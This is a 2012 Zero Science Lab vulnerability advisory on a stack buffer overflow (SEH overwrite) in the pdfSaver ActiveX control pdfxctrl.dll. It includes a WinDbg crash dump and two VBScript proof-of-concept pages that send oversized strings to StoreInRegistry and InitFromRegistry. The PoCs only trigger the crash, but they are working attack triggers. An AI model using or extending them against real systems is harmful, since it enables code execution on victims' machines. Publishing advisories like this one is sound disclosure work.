Tracker Software pdfSaver ActiveX 3.60 (pdfxctrl.dll) Stack Buffer Overflow (SEH)


Vendor:
-------
Tracker Software Products Ltd.


Product web page:
-----------------
http://www.tracker-software.com


Affected version:
-----------------
3.60.0128


Summary:
--------
PDF-Saver Technology is a unique new feature of PDF-XChange software
which allows printing jobs to be combined prior to the final PDF file
being generated - (e.g. to join 3 pages of Excel spreadsheet, 5 slides
of PowerPoint presentation and 10 pages of Word document into one PDF
document).


Description:
------------
The PDF Printer Preferences ActiveX suffers from a buffer overflow
vulnerability. When a large buffer is sent to the sub_path item of the
StoreInRegistry function, and the sub_key item of the InitFromRegistry
function, in pdfxctrl.dll module, we get a SEH overwrite. An attacker
can gain access to the system of the affected node and execute arbitrary
code.


------------------------------------------------------------------------

(1fac.1ea8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0013e9e0 ebx=00000003 ecx=0000008c edx=00001815 esi=0013cd74 edi=0013fffd
eip=7c834d8f esp=0013b75c ebp=0013b780 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
kernel32!lstrcatA+0x36:
7c834d8f f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> !exchain
0013b770: kernel32!_except_handler3+0 (7c839ac0)
  CRT scope  0, filter: kernel32!lstrcatA+45 (7c84086d)
                func:   kernel32!lstrcatA+49 (7c840876)
0013f1ac: 41414141
Invalid exception stack at 41414141
0:000> d esp
0013b75c  2a 30 00 00 cc 63 18 00-03 00 00 00 5c b7 13 00  *0...c......\...
0013b76c  2a 30 00 00 ac f1 13 00-c0 9a 83 7c a8 4d 83 7c  *0.........|.M.|
0013b77c  00 00 00 00 e4 ed 13 00-e7 d8 01 10 e0 e9 13 00  ................
0013b78c  90 b7 13 00 41 41 41 41-41 41 41 41 41 41 41 41  ....AAAAAAAAAAAA
0013b79c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0013b7ac  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0013b7bc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0013b7cc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

------------------------------------------------------------------------


Tested on:
----------
Microsoft Windows XP Professional SP3 (EN)


Vulnerability discovered by:
----------------------------
Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk


Advisory ID:
------------
ZSL-2012-5067


Advisory URL:
-------------
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5067.php



25.01.2012


PoC (COMRaider):
----------------

<object classid='clsid:2EE01CFA-139F-431E-BB1D-5E56B4DCEC18' id='zsl' />
<script language='vbscript'>

targetFile = "C:\PDF-XChange\pdfSaver\pdfxctrl.dll"
prototype  = "Sub StoreInRegistry ( ByVal page_id As PdfPrinterDialogPage ,  ByVal sub_path As String )"
memberName = "StoreInRegistry"
progid     = "pdfxctrlLib.PdfPrinterPreferences"
argCount   = 2

arg1=1
arg2=String(6164, "A")

zsl.StoreInRegistry arg1 ,arg2 

</script>

--------------------

<object classid='clsid:2EE01CFA-139F-431E-BB1D-5E56B4DCEC18' id='zsl' />
<script language='vbscript'>

targetFile = "C:\PDF-XChange\pdfSaver\pdfxctrl.dll"
prototype  = "Sub InitFromRegistry ( ByVal page_id As PdfPrinterDialogPage ,  ByVal sub_key As String )"
memberName = "InitFromRegistry"
progid     = "pdfxctrlLib.PdfPrinterPreferences"
argCount   = 2

arg1=1
arg2=String(14356, "A")

zsl.InitFromRegistry arg1 ,arg2 

</script>